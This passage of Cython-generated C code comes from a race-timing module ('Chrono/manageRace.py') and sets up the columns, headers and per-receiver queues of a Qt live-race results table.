__Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_10 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_11, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_11, __pyx_t_5); __pyx_t_3 = 0; __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":141 * Globals.MainWindow.R_RaceLive.setColumnCount( self._basecol ) * for i in cols: * if cols[i][0] is not None: # <<<<<<<<<<<<<< * Globals.MainWindow.R_RaceLive.setColumnHidden(cols[i][0], cols[i][2]) * Globals.MainWindow.R_RaceLive.setColumnWidth( cols[i][0], cols[i][1]) */ } /* "Chrono/manageRace.py":140 * Globals.MainWindow.B_Define.setEnabled(False) * Globals.MainWindow.R_RaceLive.setColumnCount( self._basecol ) * for i in cols: # <<<<<<<<<<<<<< * if cols[i][0] is not None: * Globals.MainWindow.R_RaceLive.setColumnHidden(cols[i][0], cols[i][2]) */ } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":145 * Globals.MainWindow.R_RaceLive.setColumnWidth( cols[i][0], cols[i][1]) * * self.maxrows = 0 # <<<<<<<<<<<<<< * col = self._basecol * for task in receiver: */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_maxrows, __pyx_int_0) < 0) __PYX_ERR(0, 145, __pyx_L1_error) /* "Chrono/manageRace.py":146 * * self.maxrows = 0 * col = self._basecol # <<<<<<<<<<<<<< * for task in receiver: * r = receiver[task] */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_basecol); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_v_col = __pyx_t_2; __pyx_t_2 = 0; /* "Chrono/manageRace.py":147 * self.maxrows = 0 * col = self._basecol * for task in receiver: # <<<<<<<<<<<<<< * r = receiver[task] * r['queue']['race'] = Queue(maxsize=0) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_receiver); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (likely(PyList_CheckExact(__pyx_t_2)) || PyTuple_CheckExact(__pyx_t_2)) { __pyx_t_1 = __pyx_t_2; __Pyx_INCREF(__pyx_t_1); __pyx_t_7 = 0; __pyx_t_8 = NULL; } else { __pyx_t_7 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_8 = Py_TYPE(__pyx_t_1)->tp_iternext; if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 147, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; for (;;) { if (likely(!__pyx_t_8)) { if (likely(PyList_CheckExact(__pyx_t_1))) { if (__pyx_t_7 >= PyList_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_2 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_7); __Pyx_INCREF(__pyx_t_2); __pyx_t_7++; if (unlikely(0 < 0)) __PYX_ERR(0, 147, __pyx_L1_error) #else __pyx_t_2 = PySequence_ITEM(__pyx_t_1, __pyx_t_7); __pyx_t_7++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); #endif } else { if (__pyx_t_7 >= PyTuple_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_2 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_7); __Pyx_INCREF(__pyx_t_2); __pyx_t_7++; if (unlikely(0 < 0)) __PYX_ERR(0, 147, __pyx_L1_error) #else __pyx_t_2 = PySequence_ITEM(__pyx_t_1, __pyx_t_7); __pyx_t_7++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); #endif } } else { __pyx_t_2 = __pyx_t_8(__pyx_t_1); if (unlikely(!__pyx_t_2)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 147, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_2); } __Pyx_XDECREF_SET(__pyx_v_task, __pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":148 * col = self._basecol * for task in receiver: * r = receiver[task] # <<<<<<<<<<<<<< * r['queue']['race'] = Queue(maxsize=0) * t = decoder[ task ]['preferences']['type'] */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_receiver); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = PyObject_GetItem(__pyx_t_2, __pyx_v_task); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF_SET(__pyx_v_r, __pyx_t_12); __pyx_t_12 = 0; /* "Chrono/manageRace.py":149 * for task in receiver: * r = receiver[task] * r['queue']['race'] = Queue(maxsize=0) # <<<<<<<<<<<<<< * t = decoder[ task ]['preferences']['type'] * if t != 0: */ __pyx_t_12 = __Pyx_GetModuleGlobalName(__pyx_n_s_Queue); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_maxsize, __pyx_int_0) < 0) __PYX_ERR(0, 149, __pyx_L1_error) __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_v_r, __pyx_n_u_queue); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_race, __pyx_t_10) < 0)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":150 * r = receiver[task] * r['queue']['race'] = Queue(maxsize=0) * t = decoder[ task ]['preferences']['type'] # <<<<<<<<<<<<<< * if t != 0: * if (t + self._basecol ) > col: */ __pyx_t_10 = __Pyx_GetModuleGlobalName(__pyx_n_s_decoder); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_2 = PyObject_GetItem(__pyx_t_10, __pyx_v_task); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = PyObject_GetItem(__pyx_t_2, __pyx_n_u_preferences); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_10, __pyx_n_u_type); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF_SET(__pyx_v_t, __pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":151 * r['queue']['race'] = Queue(maxsize=0) * t = decoder[ task ]['preferences']['type'] * if t != 0: # <<<<<<<<<<<<<< * if (t + self._basecol ) > col: * col = t + self._basecol */ __pyx_t_2 = PyObject_RichCompare(__pyx_v_t, __pyx_int_0, Py_NE); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 151, __pyx_L1_error) __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_9 < 0)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_9) { /* "Chrono/manageRace.py":152 * t = decoder[ task ]['preferences']['type'] * if t != 0: * if (t + self._basecol ) > col: # <<<<<<<<<<<<<< * col = t + self._basecol * Globals.MainWindow.R_RaceLive.setColumnCount( col ) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_basecol); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_10 = PyNumber_Add(__pyx_v_t, __pyx_t_2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_RichCompare(__pyx_t_10, __pyx_v_col, Py_GT); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_9 < 0)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_9) { /* "Chrono/manageRace.py":153 * if t != 0: * if (t + self._basecol ) > col: * col = t + self._basecol # <<<<<<<<<<<<<< * Globals.MainWindow.R_RaceLive.setColumnCount( col ) * item = QTableWidgetItem(task) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_basecol); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 153, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_10 = PyNumber_Add(__pyx_v_t, __pyx_t_2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 153, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF_SET(__pyx_v_col, __pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":154 * if (t + self._basecol ) > col: * col = t + self._basecol * Globals.MainWindow.R_RaceLive.setColumnCount( col ) # <<<<<<<<<<<<<< * item = QTableWidgetItem(task) * Globals.MainWindow.R_RaceLive.setHorizontalHeaderItem(t + self._basecol-1, item) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setColumnCount); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_12))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_12); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_12, function); } } if (!__pyx_t_2) { __pyx_t_10 = __Pyx_PyObject_CallOneArg(__pyx_t_12, __pyx_v_col); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_col}; __pyx_t_10 = __Pyx_PyFunction_FastCall(__pyx_t_12, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_10); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_col}; __pyx_t_10 = __Pyx_PyCFunction_FastCall(__pyx_t_12, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_10); } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_INCREF(__pyx_v_col); __Pyx_GIVEREF(__pyx_v_col); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_v_col); __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_5, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":152 * t = decoder[ task ]['preferences']['type'] * if t != 0: * if (t + self._basecol ) > col: # <<<<<<<<<<<<<< * col = t + self._basecol * Globals.MainWindow.R_RaceLive.setColumnCount( col ) */ } /* "Chrono/manageRace.py":155 * col = t + self._basecol * Globals.MainWindow.R_RaceLive.setColumnCount( col ) * item = QTableWidgetItem(task) # <<<<<<<<<<<<<< * Globals.MainWindow.R_RaceLive.setHorizontalHeaderItem(t + self._basecol-1, item) * Globals.MainWindow.R_RaceLive.setColumnWidth( t + self._basecol-1, cols["partial"][1]) */ __pyx_t_12 = __Pyx_GetModuleGlobalName(__pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_12))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_12); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_12, function); } } if (!__pyx_t_5) { __pyx_t_10 = __Pyx_PyObject_CallOneArg(__pyx_t_12, __pyx_v_task); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_task}; __pyx_t_10 = __Pyx_PyFunction_FastCall(__pyx_t_12, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_task}; __pyx_t_10 = __Pyx_PyCFunction_FastCall(__pyx_t_12, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_INCREF(__pyx_v_task); __Pyx_GIVEREF(__pyx_v_task); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_v_task); __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_2, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF_SET(__pyx_v_item, __pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":156 * Globals.MainWindow.R_RaceLive.setColumnCount( col ) * item = QTableWidgetItem(task) * Globals.MainWindow.R_RaceLive.setHorizontalHeaderItem(t + self._basecol-1, item) # <<<<<<<<<<<<<< * Globals.MainWindow.R_RaceLive.setColumnWidth( t + self._basecol-1, cols["partial"][1]) * self.bestPartial[ t ] = self._duration * 1000 # init best with max time */ __pyx_t_12 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_basecol); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_5 = PyNumber_Add(__pyx_v_t, __pyx_t_12); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_PyInt_SubtractObjC(__pyx_t_5, __pyx_int_1, 1, 0); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_12, __pyx_v_item}; __pyx_t_10 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_12, __pyx_v_item}; __pyx_t_10 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_11, __pyx_t_12); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_11, __pyx_v_item); __pyx_t_12 = 0; __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":157 * item = QTableWidgetItem(task) * Globals.MainWindow.R_RaceLive.setHorizontalHeaderItem(t + self._basecol-1, item) * Globals.MainWindow.R_RaceLive.setColumnWidth( t + self._basecol-1, cols["partial"][1]) # <<<<<<<<<<<<<< * self.bestPartial[ t ] = self._duration * 1000 # init best with max time * self.partials = col - self._basecol */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setColumnWidth); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_basecol); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = PyNumber_Add(__pyx_v_t, __pyx_t_2); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyInt_SubtractObjC(__pyx_t_12, __pyx_int_1, 1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_5 = PyObject_GetItem(__pyx_t_12, __pyx_n_u_partial); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_GetItemInt(__pyx_t_5, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_2, __pyx_t_12}; __pyx_t_10 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_2, __pyx_t_12}; __pyx_t_10 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else #endif { __pyx_t_6 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_11, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_11, __pyx_t_12); __pyx_t_2 = 0; __pyx_t_12 = 0; __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 